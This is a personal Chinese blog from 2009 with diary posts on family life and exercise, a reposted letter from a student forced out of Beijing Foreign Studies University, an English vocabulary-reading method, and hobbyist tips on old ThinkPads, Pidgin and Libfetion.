网上所有的文章,几乎都使用了第二种方法,都是使用了厂家提供的工具。其实这种方法也挺好,厂家提供的工具非常方便,许多不过可以配置认证方法,加密方式,无线接入点选择,而且还有其它的一些功能细节,使用起来还是比较方便的。

linux下就方便多了,可以有各种的配置工具,配置命令都可以快速地完成无线配置。但最近比较疑惑,我选择的几个linux版本,都无法提供令人满意的用户体验,关键在于,这些版本的linux和windows2000相比,在我这台老笔记本上面,速度太慢,不是说2.6
的 kernel,速度提升很高吗?怎么比windows 2000慢很多吗?舍弃了那么多功能,我只能使用windows
2000完成一些简单的文档写作,听听音乐啥的,更多的就干不了,连个脚本都没法用,更没法写个简单的程序了。总之,用了几周的windows
2000,让我变的又傻又懒了。

军队般的训练量

前几天到了30多度,现在又变的象冬天,冷嗖嗖的风,吹着树上刚长出的嫩芽。

感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。

教孩子学会虚伪

教孩子学会虚伪

最近教孩子学会了虚伪。感觉这是件好事,于是记录一下。

碰到其他阿姨时,善宝露出灿烂的微笑,奶声奶气地喊"阿姨啊",最后一定要带个长长的啊音。最夸张的时,和别人再见时,小手挥舞的那个频率,象是随意的把工具一丢的动作,带着兴高彩烈的情绪。我都注意小家伙很久了,根本不拿眼睛看着别人,仍然认真地玩着自己的玩具,只是听到大人说,要跟谁再见的时候,挥起自己的小手来,朝某个方向表示几下。

和其他小朋友一起玩的时候,也不打人了,有时摸摸其它小孩的头,有时则是把自己的玩具拿出来,换人家的玩。

善宝在不知不觉中,学会了礼貌,也压抑了自己最初的想法,不能打人,见人要打招呼,离开时要再见。

其实,这么小的孩子,心里怎么会关心这些事情呢?他最关心的是什么?最关心自己拉的一泡尿,一堆巴巴,与自己最有关的一些事情,睡觉吃饭什么的。每次蹲在地上尿了,就拉大人的手,要求过去给他擦干净了。每次拉巴巴了,就"啊啊啊"地指着,象是自豪地向大家展示自己的一项杰作。所有的游戏和故事,都是围绕着孩子自己的吃喝拉散,再加上一点儿简单的游戏,这些才是一岁零三个月的小孩,最最关心的事情。其他的,都是浮云,只不过照顾了下大人的情绪,按照大人的意愿,去适应这个世界而已。

可是,虚伪虽然是件可憎的事情,却也是没有办法的事情。许多时候,世界都需要礼貌、交换.....这样一堆一类的规则。世界不能没有规则,否则由着人的本性,会变的更加黑暗和暴力。规则,可以让自己适应别人,迁就别人,照顾到别人的利益,在与其它人相处的时候,不能无限放大自己的人性和需求,而是在各方的需求中达到平衡。对,规则才能平衡。

不管怎么说,小孩学会虚伪,学会这个世界的规则,也不是坏事,他需要照顾着别人的利益,在自己幸福的同时,也让别人开心幸福,让共同的利益最大化。这样,这个世界才能更美好。

现在的社会,也许处于变革期,规则还不完善,所以才有腐败,有贪污,有各种各样只顾着自己的利益,砸小商贩的摊子,不顾矿工的死活,劳工没有保障,农民只能温饱,白领变成房奴,不公平的高考制度,刚毕业就失业,啃老族,经济体服务买办,剧亏的美国国债,高价买进石油和铁矿粉。。。。。许多时候,成人世界只要学会小孩子遵守的一些规则就行了。小学生守则就挺好,人们能做好吗?

2009年3月23日星期一

军队里的训练量

前几天到了30多度,现在又变的象冬天,冷嗖嗖的风,吹着树上刚长出的嫩芽。

感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。

2009年3月17日星期二

北外香水女生的家信

妈妈:我被北外强制退学了。
阅读(1006712) 评论(10413)
发表时间:2009年03月16日 02:57

本文地址:http://qzone.qq.com/blog/622008752-1237143424
本文标签: 香奈尔 北外 教育部 外语 退学
本文已被推荐到腾讯博客, 点击了解更多精彩内容
学校责令我的爸爸和妈妈必须今天赶到北京,因为他们的女儿闯下了大祸,他们在星期一当天必须到北京到学校,负责后果自负。
天亮的时候,妈妈就会赶到北京,爸爸已经来了,我百口莫辩。
我无法向爸爸和妈妈解释为什么是这样的。事情在突然间变的如此糟糕。

所以想了很久,博客还是继续更新把。既然我已经闯祸了,就继续下去。我真的不知道我错在那里?难道我很个人的表达观点会引来这么大的麻烦?
我真不知道为什么是这样的。也不知道继续写什么。

为了给妈妈解释清楚,刚才给妈妈写了一封信。准备明天交给她,面对她流泪的情形,我真不知道如何表达。只好用信,这个最传统的、比较正式的沟通方式。
我知道她为我这个事情流泪是必然的,可怜天下父母心。

今天就把这个信公开一下,也算为关心的朋友解释一下。无奈有时候也是一种勇气。因为有些事只有面对,我无法逃避。

亲爱的妈妈:

在此,我十分惭愧的告诉您一件事。我被学校强行退学了。希望您听到这个消息的时候不要担心和难过。这一切都是我自己惹的祸,但你和爸爸、奶奶都要相信:你们的孩子是个好孩子。她没有做出什么不可饶恕的坏事,现在发生的一切都会用时间来证明:我没有错。如果说真话会成为不可原谅的罪过,那么我宁愿不要这个毕业证,我不想用失去尊严和说谎来交换一个基本没有价值的学历。

我长大了,不再是那个只会听你们安排的小女孩。

我觉的很有必要把这个事情发生的真实过程告诉您:
3月4号,我在一个网站开了自己的个人博客,陆续写了些小文章。我上网时候知道最近在召开两会,很多人大代表和政协委员都在讨论关于教育改革和就业的问题,自己也就一时冲动,马上结合自己的感受写了几个小文章,内容主要是关于当今外语强制教育的,而且戏称让赵本山当教育部长,这句真是开玩笑的,因为是个人日记,就娱乐了一下。本来自己闹着玩的,没有想到被网站推荐到了首页,然后引起了网友的广泛讨论。3月12号,有报纸报道了这件事.该报道被其他多家报纸和媒体转载.报道的题目是这样的:北外女生炮轰外语强制教育。

接下来的事情就比较麻烦,13日上午和下午,我们系的刘老师2次找我谈话,先是了解关于学生和找工作情况的,接下来就直接问我博客的事情,说我的博客直接攻击教育部,攻击教育部就是攻击国家政权,给学校领导造成了很大的压力,
学校要求我立刻停止博客更新,撤掉文章,否则后果很严重。接着刘老师拿出了学生守则,说你在外面实习没有办注册手续,按照规定是旷课,已经连续2周了,所以你已经违反校规,达到了被除名的条件。说实话,我再过三个月就毕业了,找到工作的很多学生和我一样都在外面实习,像我这样的情况也很多,为什么以前好好的没事,我一批评教育部就问题来了,今年就业形势这么紧张,谁不珍惜来之不易的工作?我恨不得天天加班讨好上司,表达我是有工作热情的,可以和男同学一样天天加班,不辞劳苦。

妈妈,你是知道的,我在公司实习,每天回来都很晚了,学校注册的地方是关了门的.我休息的时间,它也不开门.于是就拖了下来。接着,刘老师告诉我:你这已经没有注册两周了,这得按流程走.看你这心思也不在学习上,听说你一直写文章什么的,挺耽误学习.你在这方面有专长也挺好,发展发展.但你违反学校规定了,要是不尽快办手续,学校是不会保留你学籍的,连肄业证明也不会给你.到时候什么都没有就不大好了.接着她就给我纸和笔.催着我写退学申请.我当时一下就慌了.我很怕.其实近20年的学生生涯,我最怕的就是老师找谈话.虽然我是成年人了,但我对此有着习惯性的本能的畏惧.我翻着学生守则,开除和自愿退学是有区别的.开除是要通报批评,好象还要在教委备案的.不尽快退学,学校不给保留学籍和户口,那样我是不是就是黑户了?
我多年的书白读了?

如果真是这样,你和爸爸该有多伤心? 我还有资格最你们的女儿么?
我不想伤害你们,我当时脑中是一片空白.我问老师该怎么写,怎么个格式.老师说,写学习跟不上吧.我说,这也不实际啊.我学习还可以吧。于是,我含糊的写了工作原因,没能按时上课.这还算和学校列出的借口接近。
我很沉重的签下了我的名字.
我相信老师和我一样清楚,强制逼迫我退学的原因是因为我写了博客。批评了教育部。而且老师也很明确的告诉我,如果博客不写了,承认错误了,一切都可以商量。
我不想在大庭广众之下违背自己的良心,已经批评了,就不改口了。我不想拿自己的尊严来和学校交换毕业证。

妈妈,我承认我冒然批评教育部的做法有点傻,有点自以为是。但我没有认为自己做这个事情有什么错误,现在也一样。这是我的真心话,我就是这样想的,无论到了什么时候,说过的话我一定会承认,做过的事情会自己担当。

我长大了,妈妈,我知道我做这个事情的后果。上大学这四年,尤其是找工作这半年,我对社会有了自己的认识。我算明白了一个道理:反正说假话你也找不到工作,说真话自己会过的舒服一点。

在我签字的时候,妈妈,我想到的不是我自己,而是你和爸爸.
我知道你们一直为自己的女儿感到自豪和骄傲.其中有一个很大的原因:就是我从小到大都是一个乖孩子,学习也很好,在考大学的时候我有很多的选择:北大、北外或者其他学校都不是问题。但最后是你让我上的北外。你认为女孩学外语会很时尚,以后当个老师很安稳。我也就听了您的话,报考了北外最好的系之一:德语系。

但我如果不签这个申请,学校会不会还找出各种理由证明我是个坏学生,然后把我开除,不要再继续给学校捣乱抹黑?如果你们知道我连肄业证都拿不了,也许连学籍资料都没有了,你们该是什么样的反应?该是何等的伤心?那你和爸爸是不是会更加伤心,会想,你们的女儿怎么会是这样的呢?

离开老师办公室的时候,脑中映出的,是妈妈,你的容颜.
妈妈,我来到北京外国语大学,最高兴的应该是您.让女儿进外语学院学外语,是您的心愿.按照您的意思,我放弃了我最爱的北大中文系.来到最好的外语学院,最好的专业.终于圆了您一个外语的梦.

我仍记得七岁的时候,您和爸爸就送我去学外语.东北的冬天很冷.爸爸骑自行车载着我去上课。我仍记得,从小学到高中,你们对我寄予厚望,让我一直在最好的重点学校读书.您一直监督我的功课,三四岁的时候就教我认世界地图,记历史朝代.您自己省钱,却买大量的课外书给我,从儿时起的积淀至今都让我收益菲浅.原本学俄语的您,为了我艰难而努力的学起了英语,每天考我单词,听我背课文.我的每点进步都让你们激动不已,我的每个个挫折都让你们无比焦心.高考成绩出来后的电视台采访我,让我谈学校心得,在旁边坐着的您,露出我见到过的,最美丽的笑容.

二十几年过去,你们的女儿,在你们细心的培养和呵护下,长大了.而你们,却老了.
在爸爸五十岁生日的那天,我很刹风景的泪流满面.因为我没想到,像钢铁一样的父亲,曾经为我撑起一片天的你们,也会老.
流泪的那一刻,我知道我长大了.
长大,意味着我要承担做为一个成年人的责任.意味着,我不该再让你们为我操心.意味着,今后的几十年,轮到我,作为女儿,来悉心的照顾你们.
而今天的事情,让我很羞愧.我很怕.很怕伤害到你们.

。。。。。。
可是现在,可我所说的,让我和您引以为荣的北京外国语大学,却在以我为耻.
妈妈,从小你和爸爸就教我一个做人最基本的道理,就是诚实,要说真话.
我认为自己一直是个活的很真实的人.我遵从自己内心最真实的感受,表达内心最真实的想法.难道在中国,不会说外语的人是没有活路的,说真话的人是可耻的么?
我真的认为,外语强制教育制度是不对的.

爸爸也是个党员.作为一个中国人,我真的无比热爱我的国家.我丝毫没有反叛国家的意思.受教育,是每个公民的权利和义务.在受教育的机会上,应该每个人都是平等的.事情都是客观的.我只是从很善良的角度提出了我的看法.我想我们的教育制度变得更好.人们的生活更加的幸福.我是为了国家更好.国家强大了我们才更加有地位.
只是我有点天真,以为自己读了几年书,看了几本书就以为自己很了不起,就以为说真话,提建议是一种提醒公民价值的行为。
所以很傻天真,很天真的人是我。对不起,妈妈。我错了。
在这个世界上,我不知道有些话是不能说的。

但是,妈妈,爸爸,请你们不要为你们的女儿担心.这件事情,不会改变我的人生.请你们坚信你们的女儿是优秀的,这件事并不会代表什么.我会继续做一个说真话的人.继续为我自己的未来而努力的。
我一定会让你们继续骄傲的,像以往一样,让你们充满自豪,为我。

发一些即将离开我生活四年的北外的几张照片作为留念

2009年3月16日星期一

更有朝气,更有活力

早上五点起来,天刚露白,外面静静的,似乎所有的东西都停止下来,天地间没有一丝的声响。
打开台灯,读书,有些不能集中注意力,看了一会儿,设设行程日历,看看外面的山色阳光,想想未来的打算,还没迷糊多长时间,老婆的闹钟响了,赶紧跑到厨房,蒸上馒头做好粥。小善宝光光的身子,又爬在妈妈身上,啊唔啊唔地了,指指这个,摇摇那个,嘟囔着只有他自己才懂的句子。昨天洗了澡?身上香香的,滑滑的,真正小宝宝的皮肤,小善宝光着小身子坐起来,到处找他刚才随手一放的玩具。我不管三七二十一,直接抱过来穿衣服。就这点儿好,穿衣洗脸洗澡,从来都是一副乐在其中的样子,咧着嘴发出快乐的声音。

又是一个晴天。买的配件昨天就到了,今天就到拿到手了,盼了好几天,焦急万分,终于到手上了。现在机器就很快了,写文档上上网,完全没有问题,再花几十块钱,把配置升级一个档次,更加完美了。现在还有几张盘没刻,集成所有补丁的精简版sp4
windows 2000,以及深度优化的xp (集成sp3),一直想折腾硬盘安装,却一直不行。有那精神头,还是折腾折腾别的吧。

无论如何,以后和小善宝一起睡觉起床了,早上五点晚上十点,雷打不动的作息时间,晚上看四五个小时的书,比上网或者其它强多了。昨天听说邱老师的事,感觉这人更有趣了。据说上医院检查,医生直接让她回家该吃嘛吃嘛吧,已经快不行了。结果人家就这样早上四五点起来,看几个小时书,再活动一小时,过段时间再去检查,啥事儿没有。本来给他老公孩子,都下了若干遗嘱了,呵呵。不过这人心态非常之好,整天和个文化痞子似的,讲哲学课讲的头头是道,万分有趣,经了这一场变故,更是锦上添花,把课堂变的妙趣横生了。
很长时间没见,这几个家伙都买车了。最近老李同志也不组织腐败,连去欣赏一下新车的机会都没有,整天在这蹲着,照顾好自己的身体吧。向邱丽丽学习吧。

2009年3月14日星期六

快速背单词

 伍君仪:北京大学医学心理学硕士,"透析英语"掌门人,在北大独创出一套"绝世武功":用英文和电子词典加上一套心法就能练成顶级英语高手,不仅让你轻松通过四六级、考研英语、GRE,还能熟练阅读英文原著,成为翻译高手,此法屡试不爽,首都各高校曾邀请他做过十几场讲座传授"透析学习法"。目前,"伍林弟子"已经遍及全国各地,北大英语老师也成为"透析英语"的积极推广者。

  下面,请听伍君仪揭秘成为英语高手的窍门。

  你读过英文小说或者任何一本英文原著吗?你具备读英文原版书的能力吗?现在英语教育体系存在严重缺陷:只能读教材,但到了实际应用,就连简单的英文版《达・芬奇密码》都读不下去,更不用说处理英文商务公函、市场分析报告等专业层面的资讯。

  生词多不怕 有电子词典

  读英文原著提高水平是大家都明白的,问题是真要读起来有技术上的问题:生词密度较大影响理解,查词典麻烦又影响阅读兴趣。如何挖掘新式学习工具带来的高效率,关键是如何引导学生用电子词典去阅读原著。具体做法是:

  1.准备一本英文原著(第一本最好是通俗易懂而且有趣的)。

  2.建议每读两页(32开)就用电子词典任选查1个生词,其他生词尽量猜意思,实在不行才有限度地多查(以后一定要过渡到每两页只查1个)。注意把握内容大意,允许细节理解上的偏差。查出来的生词随即存入电子词典生词库,然后关机继续读,这样就不用停下来试图记住生词,尽量把查单词对阅读的影响降到最低。

  3.每日集中复习电子词典库存生词,做一次"英译中"和"生词拼写"练习,把练习正确的单词从生词库中删除,剩下的连同新一天读书查出来的生词混在一起,留待下一天进行同样的处理。生词记忆的最终完成,是靠它们在原著中不同情节语境中反复出现。

  4.初期训练每天至少读20页,旨在克服阅读习惯上的困难,持续一个星期。

  核心操作:

  打开书本,从正文开始阅读,遇到生词的时候,使用电子词典查单词――每2页有且只有查1个生词!!!

  然后,存入电子词典的生词库。存入生词库的具体操作随不同品牌产品、型号而有所不同,请参阅你的产品说明书。主流产品一般设计有一个键调出生词库列表,(例如文曲星会列出"科技"、"文化"、
"体育"三个预先设定好的库,也可以自己重新命名,或者添加新的生词库),供你选择存放在哪一个生词组里头。这样存一个词需要按4、5次键盘,于是电子词典设计了快捷键,只要一按那个存词的键,当前单词便直接存入"默认生词库"里头。"默认生词库"也需要预先设定,在诺亚舟里,做法是在生词库列表中按上下箭头键选择要设为默认的一个生词库,按"="键,该生词库后头就显示(默认),设置成功。在手机上也很简单,在Xcome的朗文词典里,按"书签"键就直接把单词存入了。

  每2页有且只有查1个生词适用于32开左右大小的图书(简称"小书");而16开左右大小的图书(简称"大书")则每1页有且只有查1个生词。本书若不特别指明,均以小书作为示例讨论。

  " 每2页"指数码页,非纸张页。例如,一本书的第2页和第3页,第1024页和第1025页,刚好是书本摊开的两面。"每2页"形成一个查词单元。除非"每
2页"中你一个生词也没碰到才不用查,任何情况下只能查1个生词――不能多,也不能少。词组、短语等在电子词典中是与单词处于同等地位的词条,亦视为一个
"词"。

  阅读原著的时候,是读到某个生词时认为需要查单词就使用查词机会,而不是每翻到新的2页先挑出1个生词来查,也不是每读完2页后再回头找
1个生词来查,简而言之――随读随查。从电子词典查出的生词马上存入机器的生词库,以备进一步处理。确认生词存入生词库之后便可关机,不要试图即时记住。

  看完这本书如果对"每2页查1个生词"还有印象,就已经足够了。在"每2页"中,无论碰到多少个生词――10个好,20个亦好,只能1个。这是透析法长期试验和总结得出来的"金标准",因为:

  ・查少了,单词没有积累;
  ・查多了,影响阅读进度,并影响后续操作;
  ・书本摊开的两面作为查词单元具备很强的操作性,不必分心考虑"看多少才查词"的问题,习惯形成以后不容易忘记查词操作。

  假如你的英语文化水平确实较低,连透析的
"最低配置"――初中生的水平也没达到,可以适当上调参数,每1页查1个或者更多,而且一定有具体限制,一定要放过一定数量的词不查――这仍旧不是标准的透析,必须尽快过渡到"每2页查1个生词"的金标准。核心参数的设置就是要训练你获得"阅读原著时遇到大量生词时仍能读下去"的能力。

  "多查几个不行吗?"

  "2页才查1个太少了吧?"

  请不要讨价还价:没有任何商量的余地,因为这是海量阅读的必要条件。阅读量是查词的前提――我不反对通过大量查词扩充词汇量,但必须根据核心参数有相应的原著阅读量配合。例如,每天掌握50个生词完全可以,但你必须读够100页。要知道,脱离定量背景阅读查的生词是记不住的。

  千万别以为"每2页查1个生词"太少。每天读上几十页的时候,就一点都不少。日后你要处理成千上万页,"每2页查1个生词"和"每1页查1词"的差别都是巨大的。参数的稍许修改将直接影响阅读与单词记忆的平衡,全面打乱透析原著的操作,后果很严重!"每2页查1个生词"不但符合休闲原则,而且涉及阅读的安全性问题。多查1个生词都会倍增你的工作量,最终迫使你放弃原著阅读――这就是透析失败的最严重后果。衡量一下几个生词重要,还是几十本原著重要?提前告诉你:当你用这个方法读到60本原著以上的时候(大概需要几年),你会出现"生词荒",即是找不到生词的情况,到时你会更真切地体验到"每2页查1个生词"
强大的生词处理效率!

  每2页才有1个查词机会,你可能会问:生词多多,如何选择?答曰:悉随尊便。可以查重现率高的词,因为查明意义就能明白书中许多地方;可以查你认为"关键"的词,如小说关键情节中的生词;还可以从"功利"出发,优先查考试中可能出现的"大纲生词",等等。我在读《Augustus》(《奥古斯都传》)的时候,有一页我查了个很古怪的生词augur(古罗马用观测飞鸟等方法预卜未来的占卜官),为何?因为这个词和我的英文名Augustus很像!特别是在词汇量迅速扩大以后,读一本词汇不多的原著(例如现代著作)时,你会慨叹"生词查无觅处",每2页中可能只有一两个――那就要查你碰到的第一个生词了,如果放过就可能就再也找不到生词了。有朋友建议进一步细化选词规则,例如某个单词出现第2次才查――没有必要:复杂的选词规则使你分神去想查哪个生词合适,导致注意力没集中到原著的内容上。单词只不过是阅读的工具,原著材料的内容才是透析操作的第一追求,请不要本末倒置。

  英文单词往往一词多义,我们完全没有必要把所有词义都一下记住,只要找到能够解释原著语境中的具体词义就足够了。例如《 The
Moonstone》(《月亮宝石》)136页:"bears as near as may be, due
south."查"due",电子词典给出下列一箩筐解释:adj.(1)适当的;应有的,应得的;应给的;正式的;充分的
(2)(车船等)预定应到的;预期的;约定的 (3)欠款的,应支付的;(票据等)到期的
adv.(罗盘指针)正(南、北等)n.(1)应得物;应得权益;应有的承认 (2)[~s]应付款;税;会费

  显而易见"正(南)"是对口的解释。因而,没有必要把所有的解释都塞到大脑里,只要把原著的句子读通了,查词的目的就达到了。

  反过来,如果碰到学过的词,却发现意思解释不通,就很有可能是该词的不常见释义,我们应当成生词处理。例如,《The
Odysseys》(荷马史诗《奥得赛》)里Odysseus说:"We stepped the
masts."我们自以为step是最简单不过的词了,可是解作"踏,跨步"是怎么也说不通的。查词,电子词典显示:"vt.【海】竖立(桅杆)于桅座上
"。这里,step就是一个不折不扣的生词,应该存入生词库,同时占据该"每2页"的查词名额。因此,在一知半解的情况下,还得虚心多向电子词典请教。

在查词单元之中,没查的词是"透过",查的词是"析出",合称"透析"。

  2、电子词典货仓式背词

  假设你今天读了20页,电子词典的生词库里就增加了20个生词。

  第二天起床以后,捧起英文原著之前,按顺序进行如下操作:

  1.打开单词复习菜单中的"英译汉"或者"英翻中"功能,检查自己能否看到单词时马上想起中文意义(原著中相应的意义便可)。
  2.打开拼写测验功能,测验库存单词。如果"测验范围"或者"测验词库"的设置不是生词库,请先将测验的对象设置为生词库。有的产品要求全部拼写,有的产品提供首尾字母提示,有的产品仅需填入随机抽空的几个字母:难易差别对效果也没有影响。
  3.回到生词库界面,逐一审核库存生词,看能否回忆。成功通过前两个步骤,并且审核也通过的单词,从生词库中删除;否则任何一步出错都要保留,留待明天进行同样的操作。每日的单词审核删除叫做"出货"。
有些电子词典产品不具备步骤1和2所需功能,只能略过,效果影响还不算很严重,因为复习强度会在日后的阅读中得到自动补偿。但最好还是选购主流电子词典,它们都具备这些常用的功能。

  货仓式背词对来自原著的生词进行了3次重复记忆,是很强的初步记忆。但是,它并不是使你一劳永逸地记住当天的生词,而仅仅是让生词在你的大脑里登记一下。注意:没通过的生词不要尝试当天就进行多次复习,就让它在货仓里多存几天,让它慢慢渗入你的大脑皮层――每天的货仓式背词只需进行一次。真正的长期的、牢固的、理解性的记忆是靠长期读原著逐渐完成的。

  生词库就是你的生词货仓:每天存货,次日出货。只要货如轮转,每天都能记住一批生词。这种机械化自动化的单词"批量生产"拥有当前学习方法的最高效率:阅读查词与记忆操作分离,把生词集中起来处理,去除了"强迫自己记住"的主观成分,从而最大限度地保证了阅读的连续性。例如,我在一本原著中碰到"daguerreotype"(银版照相法),如果停下来努力记下这个又臭又长的生词,阅读肯定没法进行下去;而根据操作规则我只是把它存到生词库里,然后立即恢复阅读。在复习和测验的时候,不必强求自己做对而苦苦回忆,以免在操作上耽误时间。想不起来说明你对该生词还不熟悉,请检测下一个。同样是那个"daguerreotype",我足足存了10天才出货――货仓式背词根据单词的难易和你当时的记忆状态自动安排好每个词需要保留的时间,免除了主观的判断。

  我的货仓存货量随每天透析阅读量的不同而改变,常在10~30之间,很少超过50。因此,每日测验是个轻松的习惯。货仓的吞吐量,间接反映了进步的速度。

  不要以为留着生词舍不得删效果会更好。不删的话,"每2页查1个生词"的进度很快就会造成生词库积压,将会打击你背词的兴趣――臃肿的生词库已经和一般词汇书无异了。盲目保留生词不会增加你对生词的熟悉程度;删除并不意味对它的记忆过程到此为止。只存货不出货,不仅占据货仓的周转空间,还会使存货在仓内烂掉。

  无暇阅读的日子,也要坚持货仓式背词。生词库就没有进账,每天的背词操作很快就会耗竭生词存货,提示阅读正处于停止状态,催促你尽快恢复阅读。"阅读可停,货流不断"。

  "Ideas that have great results are always simple ones."――《War And
Peace》(《战争与和平》)第1262页。

  两个原则:
  1.每本英文原著须从一而终读到底:浅尝辄止是读书的大忌;换书要在10页内作出决定,透析超过10页以后必须坚持到底。
  2.每本英文原著一般只透析一次,除非你有特殊目的,切忌一本原著读完又读。这个世界信息爆炸,绝大多数信息你只能接触一次,所以你必须习惯永不回头。

注:本文系编者根据网上资料整理而成,但愿中心思想没有偏离原作者要求。

2009年3月12日星期四

pidgin与amsn

pidgin 中文乱码的问题,而且QQ上的好友列表,全部显示为null。可以这样解决,只要设置gtk为中文字体,并将gtk的主题设为一个更好看的就行了。步骤如下:
找到 GTK\2.0\etc\gtk-2.0\gtkrc这个文件,打开后只有一行,改为
gtk-font-name = "SimSun 9" gtk-theme-name = "Clearlooks"
后面的主题,其实可以在themes的目录中,找到许多,也可以使用程序GTK\2.0\bin\gtkthemeselector.exe 进行选择。
因为我的机器上安装的英文windows 2000,所以打开这个程序后报错。就象ipmsg也不能用一样。所以,直接修改gtkrc就行了。
这个配置文件的名字,倒和linux下的一样。
还有个挺好用的东东 amsn,这个基本和微软的msn功能差不多,同样支持视频和语音通话,还有那些表情什么的,好处是速度快没广告。

2009年3月11日星期三

上当

上当

最近几周,又花220元钱买了一台IBM笔记本。价格倒是真便宜,220块也就吃顿饭的价格。不过机器经过10来天寄到手,拆开包装一看,成色倒是真对的住这价格。以IBM钛合金那种结实骨架,基本都磕的到处是伤。外面的黑色漆掉了一块一块,象是被火烤过一般,摸上去感觉粘乎乎的。

打开屏幕,倒是亮色完美,无班无点,再一敲键盘,可毁了,手感还不如30块钱的键盘。比我原来买的同型号的tp600,更是没法比了。而且上面若干键位也粘乎乎,倒是倒过咖啡。敲上去,有若干键位也没有响应。

拆机。少了若干镙丝,可谓少皮没毛。硬盘架也没有了,用几块破报纸垫着,靠,这哥们儿还真是有财,居然想出这么个招儿。不过倒也说的过去,用报纸塞好以后,牢固程度不差起原机配套的硬盘架。

最扰心的是,对硬盘只读不能写,换上在另一台机器上能用的硬盘也不行。无法安装系统,只有读取无法写入,靠,这叫什么事儿?也没听说主板会有这种毛病。这个问题无法解决的话,就只能找个光驱位硬盘架了。

又从网上找了块CPU,花了55,机器速度和现在最流行的机器配置也差不多了。要是再有个键盘,把硬盘问题搞定,就更完美了。

这个型号的光驱位硬盘架不好找,看看吧。暂时用不着这机器,先放柜子里。

其实也没什么抱怨的,光屏幕的价格也值220了。但对着这么个破机器,总感觉失去了许多。哎,以后不折腾这个了。需要机器,直接一步到位,买最新最高配置吧。

今天的折腾

今天对cpu风扇加了润滑油,感觉真是爽,耳朵贴近了才到听到声音,非常非常地安静,感觉真是幸福。Cpu加润滑油非常简单,但可能固态的润滑油并不好,有空还是买点儿表油或缝纫机油吧。老东门有种缝纫机油,好像才5毛钱一管,呵呵,买点儿那个也挺好。就是好像存不了半年期限吧。现在手里还有大量的锂基润滑油,效果肯定比一般的润滑油好多了,不容易挥发,另外也不容易粘灰尘,特别适合电机轴承上面使用。本来就是用在这上面的嘛。
一时冲动,又买了几样东西,花了买这台IBM笔记本时花的钱,220元。共计哪些东西呢。
1、 Mmc1 PII 400cpu
这个已经是极品了,mmc1下的最高规格,升级到这台机器上面,可以再用一段时间。另外,这个速度写东西、上网,甚至用来解决工作上的一些事情,也满够用了。平时也可以放着作BT一类。
2、 Tp600e主板。现在的这块主板,可能IDE口损坏,无法对硬盘进行写操作,只能读硬盘基础信息,连分区信息都读不出来。另外的一个可能,是IDE排针有松的地方,回头拿到这新主板后,就对现在这块主板进行助焊,把排针重新折腾一下。另外,这样的配件以后不好找了。而这块手感巨好的笔记本,我还想用上十年八年的,就权当配件吧。
3、 Tp600系列的键盘。理由同上。另外,现在的这个键盘,有几个键位也有问题,也权当配件吧。
4、 Tp600 cpu风扇。卖家比较好,白送了,另外还送了旧的小红帽。真是不错啊。
5、 SDRAM 128MB内存。笔记本上的pc100
SD内存不好找了。这个比较便宜,上次想了想没收,这次一并收过来了。以后可能要两台机器同时开起来了,一台老婆拿来写点儿论文啥的,一台我做工作备机。
上面的配件,共花了220,唉,和上次买的两块IBM笔记本一个价格。第一块260元,第二块220元。虽然第一块配置低,但成色接近九成新,键盘手感特别好。第二块就惨了点儿,只能用垃圾来形容了。
买了一堆配件,也算是提供个机会玩一玩,权当娱乐活动了。看三台笔记本拆成上百个零件,散落在两个桌子,还是很好玩儿的。

移动的无线上网本可以更快

移动的无线上网本可以更快。
移动的cmnet网络存在大量蠕虫病毒。接入不超过10分钟,就会感染。使用蜜罐系统,可以很快抓取样本。现在好多运营商开始上3G业务,其实对于有限的网络资源来说,对接入端的网络操作控制也非常重要,可以提高有限的资源利用率,把有限的网络带宽放到有用的地方,阻断蠕虫病毒和广播包、垃圾包对系统的影响

2009年3月10日星期二

最好用的飞信版本

移动的飞信体积非常庞大,win2000下的飞信一直不能用,无论使用哪种方法安装,未打任何补丁的win2000是没法折腾能用的。前些天找了飞信助手,也不能用。
今天发现一个好用的工具。Libfetion,其实很早前就在linux下用了。今天发现,居然还有windows和Macos的版本,真是功能强大。而且体积巨小,速度巨快,在www.libfetion.cn下载后,上去看了一下,还提供各种开发api接口,真是太棒了。另外,还支持iphone,以及普通手机的sybian版本。这可不是一般的强啊。有兴趣的赶紧试试吧。
解压后,直接运行,提示缺少msvcr8.dll,到原来的飞信目录下面,可以找到对应的文件,复制到%system%系统目录下面,可以用了。感觉真棒。

2009年3月5日星期四

又见颈椎病,每小时必须活动一下

http://6764296.blog.hexun.com/30197566_d.html

最近的一本好书

http://data.book.hexun.com/book-4006.shtml

"百度一下:互联网时代的2008年度记忆"简介
《百度一下》 作品相关
  每一次搜索都是一种表达,数亿网友在百度每天的搜索"投票",刻录下来的是年度的历史记忆,沉淀下来的是超越个人的群体意识和时代精神。 ・编辑推荐 ・内容简介
・作者团队简介 ・目录
・2008年度十大热门事件 ・悲欣交集2008

《百度一下》 第一部分
  众里寻她千百度。百度最大的资产是它凝聚用户的能力。不同的用户选择使用这一搜索工具,得到他们想要的信息,百度在汉语搜索上的优势使其凝聚到了最大份额的"中国读者","百度一下"成为搜索一下的替代用语,这是技术的胜利,工具的胜利。
・百度的成人礼 ・风云际会纠结跌宕的2008(1)
